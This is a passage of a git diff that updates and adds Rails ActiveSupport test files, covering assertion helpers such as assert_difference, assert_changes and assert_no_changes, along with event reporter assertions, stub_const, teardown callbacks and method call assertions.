+      raise ArgumentError, "Incorrect argument"
+    end
+  end
+
+  def test_assert_raises_with_match_fail
+    assert_raises(Minitest::Assertion, match: "Expected /incorrect/i to match \"Wrong argument\".") do
+      assert_raises(ArgumentError, match: /incorrect/i) do
+        raise ArgumentError, "Wrong argument"
+      end
+    end
+  end
+
   def test_assert_no_difference_pass
     assert_no_difference "@object.num" do
       # ...
@@ -38,7 +54,7 @@ def test_assert_no_difference_fail
         @object.increment
       end
     end
-    assert_equal "\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+    assert_equal "`@object.num` didn't change by 0, but by 1.\nExpected: 0\n  Actual: 1", error.message
   end
 
   def test_assert_no_difference_with_message_fail
@@ -47,7 +63,23 @@ def test_assert_no_difference_with_message_fail
         @object.increment
       end
     end
-    assert_equal "Object Changed.\n\"@object.num\" didn't change by 0.\nExpected: 0\n  Actual: 1", error.message
+    assert_equal "Object Changed.\n`@object.num` didn't change by 0, but by 1.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_no_difference_with_multiple_expressions_pass
+    another_object = @object.dup
+    assert_no_difference ["@object.num", -> { another_object.num }] do
+      # ...
+    end
+  end
+
+  def test_assert_no_difference_with_multiple_expressions_fail
+    another_object = @object.dup
+    assert_raises(Minitest::Assertion) do
+      assert_no_difference ["@object.num", -> { another_object.num }], "Another Object Changed" do
+        another_object.increment
+      end
+    end
   end
 
   def test_assert_difference
@@ -61,7 +93,7 @@ def test_assert_difference_retval
       @object.increment
     end
 
-    assert_equal incremented, 1
+    assert_equal 1, incremented
   end
 
   def test_assert_difference_with_implicit_difference
@@ -85,7 +117,8 @@ def test_negative_differences
 
   def test_expression_is_evaluated_in_the_appropriate_scope
     silence_warnings do
-      local_scope = local_scope = "foo"
+      local_scope = "foo"
+      _ = local_scope  # to suppress unused variable warning
       assert_difference("local_scope; @object.num") { @object.increment }
     end
   end
@@ -112,6 +145,55 @@ def test_array_of_expressions_identify_failure_when_message_provided
     end
   end
 
+  def test_hash_of_expressions
+    assert_difference "@object.num" => 1, "@object.num + 1" => 1 do
+      @object.increment
+    end
+  end
+
+  def test_hash_of_expressions_with_message
+    error = assert_raises Minitest::Assertion do
+      assert_difference({ "@object.num" => 0 }, "Object Changed") do
+        @object.increment
+      end
+    end
+    assert_equal "Object Changed.\n`@object.num` didn't change by 0, but by 1.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_difference_message_includes_change
+    error = assert_raises Minitest::Assertion do
+      assert_difference "@object.num", +5 do
+        @object.increment
+        @object.increment
+      end
+    end
+    assert_equal "`@object.num` didn't change by 5, but by 2.\nExpected: 5\n  Actual: 2", error.message
+  end
+
+  def test_assert_difference_message_with_lambda
+    skip if !defined?(RubyVM::InstructionSequence)
+
+    error = assert_raises Minitest::Assertion do
+      assert_difference(-> { @object.num }, 1, "Object Changed") do
+      end
+    end
+    assert_equal "Object Changed.\n`@object.num` didn't change by 1, but by 0.\nExpected: 1\n  Actual: 0", error.message
+  end
+
+  def test_hash_of_lambda_expressions
+    assert_difference -> { @object.num } => 1, -> { @object.num + 1 } => 1 do
+      @object.increment
+    end
+  end
+
+  def test_hash_of_expressions_identify_failure
+    assert_raises(Minitest::Assertion) do
+      assert_difference "@object.num" => 1, "1 + 1" => 1 do
+        @object.increment
+      end
+    end
+  end
+
   def test_assert_changes_pass
     assert_changes "@object.num" do
       @object.increment
@@ -144,7 +226,8 @@ def test_assert_changes_with_from_option_with_nil
         @object.increment
       end
     end
-    assert_equal "\"@object.num\" isn't nil", error.message
+
+    assert_equal "Expected change from nil, got 0", error.message
   end
 
   def test_assert_changes_with_to_option
@@ -153,6 +236,28 @@ def test_assert_changes_with_to_option
     end
   end
 
+  def test_assert_changes_with_to_option_but_no_change_has_special_message
+    error = assert_raises Minitest::Assertion do
+      assert_changes "@object.num", to: 0 do
+        # no changes
+      end
+    end
+
+    assert_match "`@object.num` didn't change. It was already 0.", error.message
+  end
+
+  def test_assert_changes_message_with_lambda
+    skip if !defined?(RubyVM::InstructionSequence)
+
+    error = assert_raises Minitest::Assertion do
+      assert_changes -> { @object.num }, to: 0 do
+        # no changes
+      end
+    end
+
+    assert_match "`@object.num` didn't change. It was already 0.", error.message
+  end
+
   def test_assert_changes_with_wrong_to_option
     assert_raises Minitest::Assertion do
       assert_changes "@object.num", to: 2 do
@@ -176,6 +281,7 @@ def test_assert_changes_with_from_and_to_options_and_wrong_to_value
   end
 
   def test_assert_changes_works_with_any_object
+    # Silences: instance variable @new_object not initialized.
     retval = silence_warnings do
       assert_changes :@new_object, from: nil, to: 42 do
         @new_object = 42
@@ -198,7 +304,7 @@ def test_assert_changes_works_with_nil
   def test_assert_changes_with_to_and_case_operator
     token = nil
 
-    assert_changes "token", to: /\w{32}/ do
+    assert_changes -> { token }, to: /\w{32}/ do
       token = SecureRandom.hex
     end
   end
@@ -206,18 +312,19 @@ def test_assert_changes_with_to_and_case_operator
   def test_assert_changes_with_to_and_from_and_case_operator
     token = SecureRandom.hex
 
-    assert_changes "token", from: /\w{32}/, to: /\w{32}/ do
+    assert_changes -> { token }, from: /\w{32}/, to: /\w{32}/ do
       token = SecureRandom.hex
     end
   end
 
   def test_assert_changes_with_message
     error = assert_raises Minitest::Assertion do
-      assert_changes "@object.num", "@object.num should 1", to: 1 do
+      assert_changes "@object.num", "@object.num should be 1", to: 1 do
+        @object.decrement
       end
     end
 
-    assert_equal "@object.num should 1.\n\"@object.num\" didn't change to 1", error.message
+    assert_equal "@object.num should be 1.\nExpected change to 1, got -1\n", error.message
   end
 
   def test_assert_no_changes_pass
@@ -226,6 +333,37 @@ def test_assert_no_changes_pass
     end
   end
 
+  def test_assert_no_changes_with_from_option
+    assert_no_changes "@object.num", from: 0 do
+      # ...
+    end
+  end
+
+  def test_assert_no_changes_with_from_option_with_wrong_value
+    assert_raises Minitest::Assertion do
+      assert_no_changes "@object.num", from: -1 do
+        # ...
+      end
+    end
+  end
+
+  def test_assert_no_changes_with_from_option_with_nil
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes "@object.num", from: nil do
+        @object.increment
+      end
+    end
+    assert_equal "Expected initial value of nil, got 0", error.message
+  end
+
+  def test_assert_no_changes_with_from_and_case_operator
+    token = SecureRandom.hex
+
+    assert_no_changes -> { token }, from: /\w{32}/ do
+      # ...
+    end
+  end
+
   def test_assert_no_changes_with_message
     error = assert_raises Minitest::Assertion do
       assert_no_changes "@object.num", "@object.num should not change" do
@@ -233,11 +371,193 @@ def test_assert_no_changes_with_message
       end
     end
 
-    assert_equal "@object.num should not change.\n\"@object.num\" did change to 1.\nExpected: 0\n  Actual: 1", error.message
+    assert_equal "@object.num should not change.\n`@object.num` changed.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_no_changes_message_with_lambda
+    skip if !defined?(RubyVM::InstructionSequence)
+
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes -> { @object.num } do
+        @object.increment
+      end
+    end
+    assert_equal "`@object.num` changed.\nExpected: 0\n  Actual: 1", error.message
+
+    check = Proc.new {
+      @object.num
+    }
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes check do
+        @object.increment
+      end
+    end
+    assert_equal "`@object.num` changed.\nExpected: 1\n  Actual: 2", error.message
+
+    check = lambda {
+      @object.num
+    }
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes check do
+        @object.increment
+      end
+    end
+    assert_equal "`@object.num` changed.\nExpected: 2\n  Actual: 3", error.message
+
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes -> { @object.num } do
+        @object.increment
+      end
+    end
+    assert_equal "`@object.num` changed.\nExpected: 3\n  Actual: 4", error.message
+
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes ->(a = nil) { @object.num } do
+        @object.increment
+      end
+    end
+    assert_match(/#<Proc:0x.*changed/, error.message)
+  end
+
+  def test_assert_no_changes_message_with_multi_line_lambda
+    check = lambda {
+      "title".upcase
+      @object.num
+    }
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes check do
+        @object.increment
+      end
+    end
+    assert_match(/#<Proc:0x.*changed/, error.message)
+
+    check = lambda {
+      "title".upcase
+      @object.num
+    }
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes check do
+        @object.increment
+      end
+    end
+    assert_match(/#<Proc:0x.*changed/, error.message)
+  end
+
+  def test_assert_no_changes_message_with_not_real_callable
+    check = Object.new
+    def check.call
+      @object.num
+    end
+    check.instance_variable_set(:@object, @object)
+
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes check do
+        @object.increment
+      end
+    end
+    assert_match(/#<Object:0x.*changed/, error.message)
+  end
+
+  def test_assert_no_changes_with_long_string_wont_output_everything
+    lines = "HEY\n" * 12
+
+    error = assert_raises Minitest::Assertion do
+      assert_no_changes "lines" do
+        lines += "HEY ALSO\n"
+      end
+    end
+
+    assert_match <<~output, error.message
+      `lines` changed.
+      --- expected
+      +++ actual
+      @@ -10,4 +10,5 @@
+       HEY
+       HEY
+       HEY
+      +HEY ALSO
+       "
+    output
   end
 end
 
-class AlsoDoingNothingTest < ActiveSupport::TestCase
+class ExceptionsInsideAssertionsTest < ActiveSupport::TestCase
+  def before_setup
+    require "stringio"
+    @out = StringIO.new
+    self.tagged_logger = ActiveSupport::TaggedLogging.new(Logger.new(@out))
+    super
+  end
+
+  def test_warning_is_logged_if_caught_internally
+    run_test_that_should_pass_and_log_a_warning
+    expected = <<~MSG
+      ExceptionsInsideAssertionsTest - test_warning_is_logged_if_caught_internally: ArgumentError raised.
+      If you expected this exception, use `assert_raises` as near to the code that raises as possible.
+      Other block based assertions (e.g. `assert_no_changes`) can be used, as long as `assert_raises` is inside their block.
+    MSG
+    assert_includes @out.string, expected
+  end
+
+  def test_warning_is_not_logged_if_caught_correctly_by_user
+    run_test_that_should_pass_and_not_log_a_warning
+    assert_not @out.string.include?("assert_nothing_raised")
+  end
+
+  def test_warning_is_not_logged_if_assertions_are_nested_correctly
+    error = assert_raises(Minitest::Assertion) do
+      run_test_that_should_fail_but_not_log_a_warning
+    end
+    assert_not @out.string.include?("assert_nothing_raised")
+    assert error.message.include?("`rand` changed")
+  end
+
+  def test_fails_and_warning_is_logged_if_wrong_error_caught
+    error = assert_raises(Minitest::Assertion) do
+      run_test_that_should_fail_confusingly
+    end
+    expected = <<~MSG
+      ExceptionsInsideAssertionsTest - test_fails_and_warning_is_logged_if_wrong_error_caught: ArgumentError raised.
+      If you expected this exception, use `assert_raises` as near to the code that raises as possible.
+      Other block based assertions (e.g. `assert_no_changes`) can be used, as long as `assert_raises` is inside their block.
+    MSG
+    assert_includes @out.string, expected
+    assert_includes error.message, "ArgumentError: ArgumentError"
+    assert_includes error.message, "run_test_that_should_fail_confusingly"
+  end
+
+  private
+    def run_test_that_should_pass_and_log_a_warning
+      assert_raises(Minitest::UnexpectedError) do # this assertion passes, but it's unlikely to be how anyone writes a test
+        assert_no_changes -> { 1 } do # this assertion doesn't run. the error below is caught and the warning logged.
+          raise ArgumentError.new
+        end
+      end
+    end
+
+    def run_test_that_should_fail_confusingly
+      assert_raises(ArgumentError) do # this assertion fails (confusingly) because it catches a Minitest::UnexpectedError.
+        assert_no_changes -> { 1 } do # this assertion doesn't run. the error below is caught and the warning logged.
+          raise ArgumentError.new
+        end
+      end
+    end
+
+    def run_test_that_should_pass_and_not_log_a_warning
+      assert_no_changes -> { 1 } do # this assertion passes
+        assert_raises(ArgumentError) do # this assertion passes
+          raise ArgumentError.new
+        end
+      end
+    end
+
+    def run_test_that_should_fail_but_not_log_a_warning
+      assert_no_changes -> { rand } do # this assertion fails
+        assert_raises(ArgumentError) do # this assertion passes
+          raise ArgumentError.new
+        end
+      end
+    end
 end
 
 # Setup and teardown callbacks.
@@ -246,9 +566,9 @@ class SetupAndTeardownTest < ActiveSupport::TestCase
   teardown :foo, :sentinel
 
   def test_inherited_setup_callbacks
-    assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:raw_filter)
+    assert_equal [:reset_callback_record, :foo], self.class._setup_callbacks.map(&:filter)
     assert_equal [:foo], @called_back
-    assert_equal [:foo, :sentinel], self.class._teardown_callbacks.map(&:raw_filter)
+    assert_equal [:foo, :sentinel], self.class._teardown_callbacks.map(&:filter)
   end
 
   def setup
@@ -258,7 +578,6 @@ def teardown
   end
 
   private
-
     def reset_callback_record
       @called_back = []
     end
@@ -277,9 +596,9 @@ class SubclassSetupAndTeardownTest < SetupAndTeardownTest
   teardown :bar
 
   def test_inherited_setup_callbacks
-    assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:raw_filter)
+    assert_equal [:reset_callback_record, :foo, :bar], self.class._setup_callbacks.map(&:filter)
     assert_equal [:foo, :bar], @called_back
-    assert_equal [:foo, :sentinel, :bar], self.class._teardown_callbacks.map(&:raw_filter)
+    assert_equal [:foo, :sentinel, :bar], self.class._teardown_callbacks.map(&:filter)
   end
 
   private
@@ -338,3 +657,56 @@ def test_test_order_is_global
     assert_equal :random, Class.new(ActiveSupport::TestCase).test_order
   end
 end
+
+
+class ConstStubbable
+  CONSTANT = 1
+end
+
+class SubclassOfConstStubbable < ConstStubbable
+end
+
+class TestConstStubbing < ActiveSupport::TestCase
+  test "stubbing a constant temporarily replaces it with a new value" do
+    stub_const(ConstStubbable, :CONSTANT, 2) do
+      assert_equal 2, ConstStubbable::CONSTANT
+    end
+
+    assert_equal 1, ConstStubbable::CONSTANT
+  end
+
+  test "stubbed constant still reset even if exception is raised" do
+    assert_raises(RuntimeError) do
+      stub_const(ConstStubbable, :CONSTANT, 2) do
+        assert_equal 2, ConstStubbable::CONSTANT
+        raise "Exception"
+      end
+    end
+
+    assert_equal 1, ConstStubbable::CONSTANT
+  end
+
+  test "stubbing a constant that does not exist in the receiver raises NameError" do
+    assert_raises(NameError) do
+      stub_const(ConstStubbable, :NOT_A_CONSTANT, 1) { }
+    end
+
+    assert_raises(NameError) do
+      stub_const(SubclassOfConstStubbable, :CONSTANT, 1) { }
+    end
+  end
+
+  test "stubbing a constant that does not exist can be done with `exists: false`" do
+    stub_const(ConstStubbable, :NOT_A_CONSTANT, 1, exists: false) do
+      assert_equal 1, ConstStubbable::NOT_A_CONSTANT
+    end
+
+    assert_raises(NameError) do
+      ConstStubbable::NOT_A_CONSTANT
+    end
+
+    assert_raises(NameError) do
+      stub_const(Object, :ConstStubbable, 1, exists: false)
+    end
+  end
+end
diff --git a/activesupport/test/testing/after_teardown_assertion_test.rb b/activesupport/test/testing/after_teardown_assertion_test.rb
new file mode 100644
index 0000000000000..887eefdb8f4f2
--- /dev/null
+++ b/activesupport/test/testing/after_teardown_assertion_test.rb
@@ -0,0 +1,33 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+class AfterTeardownAssertionTest < ActiveSupport::TestCase
+  module OtherAfterTeardown
+    def after_teardown
+      super
+
+      @witness = true
+    end
+  end
+  include AfterTeardownAssertionTest::OtherAfterTeardown
+
+  attr_writer :witness
+
+  teardown do
+    flunk "Test raises a Minitest::Assertion error, all after_teardown should still get called"
+  end
+
+  def after_teardown
+    assert_changes -> { failures.count }, from: 0, to: 1 do
+      super
+    end
+
+    assert_equal true, @witness
+    failures.clear
+  end
+
+  def test_teardown_raise_but_all_after_teardown_method_are_called
+    assert true
+  end
+end
diff --git a/activesupport/test/testing/after_teardown_test.rb b/activesupport/test/testing/after_teardown_test.rb
new file mode 100644
index 0000000000000..d90e0120164a7
--- /dev/null
+++ b/activesupport/test/testing/after_teardown_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
+
+module OtherAfterTeardown
+  def after_teardown
+    super
+
+    @witness = true
+  end
+end
+
+class AfterTeardownTest < ActiveSupport::TestCase
+  include OtherAfterTeardown
+
+  attr_writer :witness
+
+  MyError = Class.new(StandardError)
+
+  teardown do
+    raise MyError, "Test raises an error, all after_teardown should still get called"
+  end
+
+  def after_teardown
+    assert_changes -> { failures.count }, from: 0, to: 1 do
+      super
+    end
+
+    assert_equal true, @witness
+    failures.clear
+  end
+
+  def test_teardown_raise_but_all_after_teardown_method_are_called
+    assert true
+  end
+end
diff --git a/activesupport/test/testing/constant_lookup_test.rb b/activesupport/test/testing/constant_lookup_test.rb
index 00e69fcdb5c6d..d8db58c581d40 100644
--- a/activesupport/test/testing/constant_lookup_test.rb
+++ b/activesupport/test/testing/constant_lookup_test.rb
@@ -1,5 +1,6 @@
-require "abstract_unit"
-require "dependencies_test_helpers"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 
 class Foo; end
 class Bar < Foo
@@ -10,7 +11,6 @@ module FooBar; end
 
 class ConstantLookupTest < ActiveSupport::TestCase
   include ActiveSupport::Testing::ConstantLookup
-  include DependenciesTestHelpers
 
   def find_foo(name)
     self.class.determine_constant_from_test_name(name) do |constant|
@@ -58,19 +58,14 @@ def test_returns_nil_when_cant_find_module
     assert_nil find_module("DoesntExist::Nadda::Nope::NotHere")
   end
 
-  def test_does_not_swallow_exception_on_no_method_error
-    assert_raises(NoMethodError) {
-      with_autoloading_fixtures {
-        self.class.determine_constant_from_test_name("RaisesNoMethodError")
-      }
-    }
-  end
-
-  def test_does_not_swallow_exception_on_no_name_error_within_constant
+  def test_does_not_shallow_ordinary_exceptions
+    test_name = "RaisesNameError"
+    file_name = File.expand_path("../autoloading_fixtures/raises_no_method_error.rb", __dir__)
     assert_raises(NameError) do
-      with_autoloading_fixtures do
-        self.class.determine_constant_from_test_name("RaisesNameError")
-      end
+      Object.autoload(test_name, file_name)
+      self.class.determine_constant_from_test_name(test_name)
     end
+  ensure
+    Object.send(:remove_const, test_name)
   end
 end
diff --git a/activesupport/test/testing/event_reporter_assertions_test.rb b/activesupport/test/testing/event_reporter_assertions_test.rb
new file mode 100644
index 0000000000000..9eda938ce0db4
--- /dev/null
+++ b/activesupport/test/testing/event_reporter_assertions_test.rb
@@ -0,0 +1,215 @@
+# frozen_string_literal: true
+
+require "active_support/test_case"
+
+module ActiveSupport
+  module Testing
+    class EventReporterAssertionsTest < ActiveSupport::TestCase
+      setup do
+        @reporter = ActiveSupport.event_reporter
+      end
+
+      test "#assert_event_reported" do
+        assert_event_reported("user.created") do
+          @reporter.notify("user.created", { id: 123, name: "John Doe" })
+        end
+      end
+
+      test "#assert_event_reported with payload" do
+        assert_event_reported("user.created", payload: { id: 123, name: "John Doe" }) do
+          @reporter.notify("user.created", { id: 123, name: "John Doe" })
+        end
+      end
+
+      test "#assert_event_reported with tags" do
+        assert_event_reported("user.created", tags: { graphql: true }) do
+          @reporter.tagged(:graphql) do
+            @reporter.notify("user.created", { id: 123, name: "John Doe" })
+          end
+        end
+      end
+
+      test "#assert_event_reported partial matching" do
+        assert_event_reported("user.created", payload: { id: 123 }, tags: { foo: :bar }) do
+          @reporter.tagged(foo: :bar, baz: :qux) do
+            @reporter.notify("user.created", { id: 123, name: "John Doe" })
+          end
+        end
+      end
+
+      test "#assert_event_reported with regex payload" do
+        assert_event_reported("user.created", payload: { id: /[0-9]+/ }) do
+          @reporter.notify("user.created", { id: 123, name: "John Doe" })
+        end
+      end
+
+      test "#assert_event_reported with regex tags" do
+        assert_event_reported("user.created", tags: { foo: /bar/ }) do
+          @reporter.tagged(foo: :bar, baz: :qux) do
+            @reporter.notify("user.created")
+          end
+        end
+      end
+
+      test "#assert_no_event_reported" do
+        assert_no_event_reported do
+          # No events are reported here
+        end
+      end
+
+      test "#assert_no_event_reported with provided name" do
+        assert_no_event_reported("user.created") do
+          @reporter.notify("another.event")
+        end
+      end
+
+      test "#assert_no_event_reported with payload" do
+        assert_no_event_reported("user.created", payload: { id: 123, name: "Sazz Pataki" }) do
+          @reporter.notify("user.created", { id: 123, name: "Mabel Mora" })
+        end
+
+        assert_no_event_reported("user.created", payload: { name: "Sazz Pataki" }) do
+          @reporter.notify("user.created")
+        end
+      end
+
+      test "#assert_no_event_reported with tags" do
+        assert_no_event_reported("user.created", tags: { api: true, zip_code: 10003 }) do
+          @reporter.tagged(api: false, zip_code: 10003) do
+            @reporter.notify("user.created")
+          end
+        end
+
+        assert_no_event_reported("user.created", tags: { api: true }) do
+          @reporter.notify("user.created")
+        end
+      end
+
+      test "#assert_event_reported fails when event is not reported" do
+        e = assert_raises(Minitest::Assertion) do
+          assert_event_reported("user.created") do
+            # No events are reported here
+          end
+        end
+
+        assert_equal "Expected an event to be reported, but there were no events reported.", e.message
+      end
+
+      test "#assert_event_reported fails when different event is reported" do
+        e = assert_raises(Minitest::Assertion) do
+          assert_event_reported("user.created", payload: { id: 123 }) do
+            @reporter.notify("another.event", { id: 123, name: "John Doe" })
+          end
+        end
+
+        assert_match(/Expected an event to be reported matching:/, e.message)
+        assert_match(/name: "user\.created"/, e.message)
+        assert_match(/but none of the 1 reported events matched:/, e.message)
+        assert_match(/another\.event/, e.message)
+      end
+
+      test "#assert_no_event_reported fails when event is reported" do
+        payload = { id: 123, name: "John Doe" }
+        e = assert_raises(Minitest::Assertion) do
+          assert_no_event_reported("user.created") do
+            @reporter.notify("user.created", payload)
+          end
+        end
+
+        assert_match(/Expected no 'user\.created' event to be reported, but found:/, e.message)
+        assert_match(/user\.created/, e.message)
+      end
+
+      test "assert_events_reported" do
+        assert_events_reported([
+          { name: "user.created" },
+          { name: "email.sent" }
+        ]) do
+          @reporter.notify("user.created", { id: 123 })
+          @reporter.notify("email.sent", { to: "user@example.com" })
+        end
+      end
+
+      test "assert_events_reported is order agnostic" do
+        assert_events_reported([
+          { name: "user.created", payload: { id: 123 } },
+          { name: "email.sent" }
+        ]) do
+          @reporter.notify("email.sent", { to: "user@example.com" })
+          @reporter.notify("user.created", { id: 123, name: "John" })
+        end
+      end
+
+      test "assert_events_reported ignores extra events" do
+        assert_events_reported([
+          { name: "user.created", payload: { id: 123 } }
+        ]) do
+          @reporter.notify("extra_event_1")
+          @reporter.notify("user.created", { id: 123, name: "John" })
+          @reporter.notify("extra_event_2")
+          @reporter.notify("extra_event_3")
+        end
+      end
+
+      test "assert_events_reported works with empty expected array" do
+        assert_events_reported([]) do
+          @reporter.notify("some.event")
+        end
+      end
+
+      test "assert_events_reported fails when one event missing" do
+        e = assert_raises(Minitest::Assertion) do
+          assert_events_reported([
+            { name: "user.created" },
+            { name: "email.sent" }
+          ]) do
+            @reporter.notify("user.created", { id: 123 })
+            @reporter.notify("other.event")
+          end
+        end
+
+        assert_match(/Expected an event to be reported matching:/, e.message)
+        assert_match(/name: "email.sent"/, e.message)
+        assert_match(/but none of the .* reported events matched:/, e.message)
+      end
+
+      test "assert_events_reported fails when no events reported" do
+        e = assert_raises(Minitest::Assertion) do
+          assert_events_reported([
+            { name: "user.created" },
+            { name: "email.sent" }
+          ]) do
+            # No events reported
+          end
+        end
+
+        assert_equal "Expected 2 events to be reported, but there were no events reported.", e.message
+      end
+
+      test "assert_events_reported fails when expecting duplicate events but only one reported" do
+        e = assert_raises(Minitest::Assertion) do
+          assert_events_reported([
+            { name: "user.created" },
+            { name: "user.created" }  # Expecting 2 identical events
+          ]) do
+            @reporter.notify("user.created")
+          end
+        end
+
+        assert_match(/Expected an event to be reported matching:/, e.message)
+        assert_match(/name: "user.created"/, e.message)
+        assert_match(/but none of the 1 reported events matched:/, e.message)
+      end
+
+      test "assert_events_reported passes when expecting duplicate events and both are reported" do
+        assert_events_reported([
+          { name: "user.created", payload: { id: 123 } },
+          { name: "user.created", payload: { id: 123 } }
+        ]) do
+          @reporter.notify("user.created", { id: 123 })
+          @reporter.notify("user.created", { id: 123 })
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/test/testing/file_fixtures_test.rb b/activesupport/test/testing/file_fixtures_test.rb
index e44fe58ce9ec4..9ece9def4df8d 100644
--- a/activesupport/test/testing/file_fixtures_test.rb
+++ b/activesupport/test/testing/file_fixtures_test.rb
@@ -1,14 +1,16 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 
 require "pathname"
 
 class FileFixturesTest < ActiveSupport::TestCase
-  self.file_fixture_path = File.expand_path("../../file_fixtures", __FILE__)
+  self.file_fixture_path = File.expand_path("../file_fixtures", __dir__)
 
   test "#file_fixture returns Pathname to file fixture" do
     path = file_fixture("sample.txt")
     assert_kind_of Pathname, path
-    assert_match %r{.*/test/file_fixtures/sample.txt$}, path.to_s
+    assert_match %r{.*/test/file_fixtures/sample\.txt$}, path.to_s
   end
 
   test "raises an exception when the fixture file does not exist" do
@@ -20,11 +22,11 @@ class FileFixturesTest < ActiveSupport::TestCase
 end
 
 class FileFixturesPathnameDirectoryTest < ActiveSupport::TestCase
-  self.file_fixture_path = Pathname.new(File.expand_path("../../file_fixtures", __FILE__))
+  self.file_fixture_path = Pathname.new(File.expand_path("../file_fixtures", __dir__))
 
   test "#file_fixture_path returns Pathname to file fixture" do
     path = file_fixture("sample.txt")
     assert_kind_of Pathname, path
-    assert_match %r{.*/test/file_fixtures/sample.txt$}, path.to_s
+    assert_match %r{.*/test/file_fixtures/sample\.txt$}, path.to_s
   end
 end
diff --git a/activesupport/test/testing/method_call_assertions_test.rb b/activesupport/test/testing/method_call_assertions_test.rb
index 7887933b1550b..9a828bf68c8b1 100644
--- a/activesupport/test/testing/method_call_assertions_test.rb
+++ b/activesupport/test/testing/method_call_assertions_test.rb
@@ -1,9 +1,8 @@
-require "abstract_unit"
-require "active_support/testing/method_call_assertions"
+# frozen_string_literal: true
 
-class MethodCallAssertionsTest < ActiveSupport::TestCase
-  include ActiveSupport::Testing::MethodCallAssertions
+require_relative "../abstract_unit"
 
+class MethodCallAssertionsTest < ActiveSupport::TestCase
   class Level
     def increment; 1; end
     def decrement; end
@@ -37,6 +36,8 @@ def test_assert_called_returns
     assert_called(@object, :increment, returns: 10) do
       assert_equal 10, @object.increment
     end
+
+    assert_equal 1, @object.increment
   end
 
   def test_assert_called_failure
@@ -59,18 +60,20 @@ def test_assert_called_with_message
     assert_match(/dang it.\nExpected increment/, error.message)
   end
 
-  def test_assert_called_with
-    assert_called_with(@object, :increment) do
-      @object.increment
-    end
-  end
-
   def test_assert_called_with_arguments
     assert_called_with(@object, :<<, [ 2 ]) do
       @object << 2
     end
   end
 
+  def test_assert_called_with_arguments_and_returns
+    assert_called_with(@object, :<<, [ 2 ], returns: 10) do
+      assert_equal(10, @object << 2)
+    end
+
+    assert_nil(@object << 2)
+  end
+
   def test_assert_called_with_failure
     assert_raises(MockExpectationError) do
       assert_called_with(@object, :<<, [ 4567 ]) do
@@ -79,19 +82,65 @@ def test_assert_called_with_failure
     end
   end
 
-  def test_assert_called_with_returns
-    assert_called_with(@object, :increment, returns: 1) do
+  def test_assert_called_on_instance_of_with_defaults_to_expect_once
+    assert_called_on_instance_of Level, :increment do
+      @object.increment
+    end
+  end
+
+  def test_assert_called_on_instance_of_more_than_once
+    assert_called_on_instance_of(Level, :increment, times: 2) do
+      @object.increment
       @object.increment
     end
   end
 
-  def test_assert_called_with_multiple_expected_arguments
-    assert_called_with(@object, :<<, [ [ 1 ], [ 2 ] ]) do
-      @object << 1
+  def test_assert_called_on_instance_of_with_arguments
+    assert_called_on_instance_of(Level, :<<) do
       @object << 2
     end
   end
 
+  def test_assert_called_on_instance_of_returns
+    assert_called_on_instance_of(Level, :increment, returns: 10) do
+      assert_equal 10, @object.increment
+    end
+
+    assert_equal 1, @object.increment
+  end
+
+  def test_assert_called_on_instance_of_failure
+    error = assert_raises(Minitest::Assertion) do
+      assert_called_on_instance_of(Level, :increment) do
+        # Call nothing...
+      end
+    end
+
+    assert_equal "Expected increment to be called 1 times, but was called 0 times.\nExpected: 1\n  Actual: 0", error.message
+  end
+
+  def test_assert_called_on_instance_of_with_message
+    error = assert_raises(Minitest::Assertion) do
+      assert_called_on_instance_of(Level, :increment, "dang it") do
+        # Call nothing...
+      end
+    end
+
+    assert_match(/dang it.\nExpected increment/, error.message)
+  end
+
+  def test_assert_called_on_instance_of_nesting
+    assert_called_on_instance_of(Level, :increment, times: 3) do
+      assert_called_on_instance_of(Level, :decrement, times: 2) do
+        @object.increment
+        @object.decrement
+        @object.increment
+        @object.decrement
+        @object.increment
+      end
+    end
+  end
+
   def test_assert_not_called
     assert_not_called(@object, :decrement) do
       @object.increment
@@ -108,6 +157,30 @@ def test_assert_not_called_failure
     assert_equal "Expected increment to be called 0 times, but was called 1 times.\nExpected: 0\n  Actual: 1", error.message
   end
 
+  def test_assert_not_called_on_instance_of
+    assert_not_called_on_instance_of(Level, :decrement) do
+      @object.increment
+    end
+  end
+
+  def test_assert_not_called_on_instance_of_failure
+    error = assert_raises(Minitest::Assertion) do
+      assert_not_called_on_instance_of(Level, :increment) do
+        @object.increment
+      end
+    end
+
+    assert_equal "Expected increment to be called 0 times, but was called 1 times.\nExpected: 0\n  Actual: 1", error.message
+  end
+
+  def test_assert_not_called_on_instance_of_nesting
+    assert_not_called_on_instance_of(Level, :increment) do
+      assert_not_called_on_instance_of(Level, :decrement) do
+        # Call nothing...
+      end
+    end
+  end
+
   def test_stub_any_instance
     stub_any_instance(Level) do |instance|
       assert_equal instance, Level.new
@@ -120,4 +193,20 @@ def test_stub_any_instance_with_instance
       assert_equal instance, Level.new
     end
   end
+
+  def test_assert_changes_when_assertions_are_included
+    test_unit_class = Class.new(Minitest::Test) do
+      include ActiveSupport::Testing::Assertions
+
+      def test_assert_changes
+        counter = 1
+        assert_changes(-> { counter }) do
+          counter = 2
+        end
+      end
+    end
+
+    test_results = test_unit_class.new(:test_assert_changes).run
+    assert_predicate test_results, :passed?
+  end
 end
diff --git a/activesupport/test/testing/notification_assertions_test.rb b/activesupport/test/testing/notification_assertions_test.rb
new file mode 100644
index 0000000000000..9feb2045fc8e7
--- /dev/null
